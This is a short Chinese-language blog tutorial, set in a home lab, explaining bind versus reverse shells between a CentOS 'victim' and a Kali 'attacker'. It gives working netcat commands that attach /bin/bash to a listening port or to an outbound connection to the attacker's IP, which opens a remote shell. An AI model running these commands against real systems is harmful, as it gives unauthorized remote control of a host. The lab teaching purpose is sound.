正向Shell和反向Shell

简介

一般在获取 Shell 时分为两种,一种是正向 Shell,另一种是反向 Shell。这两种获取 Shell 的方式在渗透测试过程中都是有可能使用到的,简单来区分一下正向 Shell 和反向 Shell 的区别。如果使用客户端(攻击方)主动连接服务器(受害机),这种称为正向 Shell;反之,如果服务器(受害机)主动连接客户端(攻击方),那就是反向 Shell。

环境

系统 IP
服务器(受害端) CentOS 192.168.80.130
客户端(攻击方) Kali 192.168.80.135

为了方便区分机器,我在 CentOS 系统的主目录下创建了一个 centos.txt 的文件以便区分。

正向 Shell

首先在受害者机器(192.168.80.130)上开启监听

nc -lvp 7777 -e /bin/bash

然后在攻击方 Kali 机器(192.168.80.135)使用 nc 进行正向连接,连接受害者机器。

nc 192.168.80.130 7777

这样就用 Kali 获取到了一个正向的 Shell。

反向 Shell

反向 Shell 需要首先在 Kali 攻击方(192.168.80.135)机器上开启监听

nc -lvp 7777

然后受害者机器上开启连接 Kali 机器

nc 192.168.80.135 7777 -e /bin/bash

这样就成功从 CETOS 获取到了反向的 Shell,结果如下图所示:

踩到的坑

在连接 Shell 中遇到了 bash No route to host 这样的问题,其原因是 CentOS 开启了防火墙导致的,关闭防火墙或开放对应端口即可。

发表评论

电子邮件地址不会被公开。必填项已用 * 标注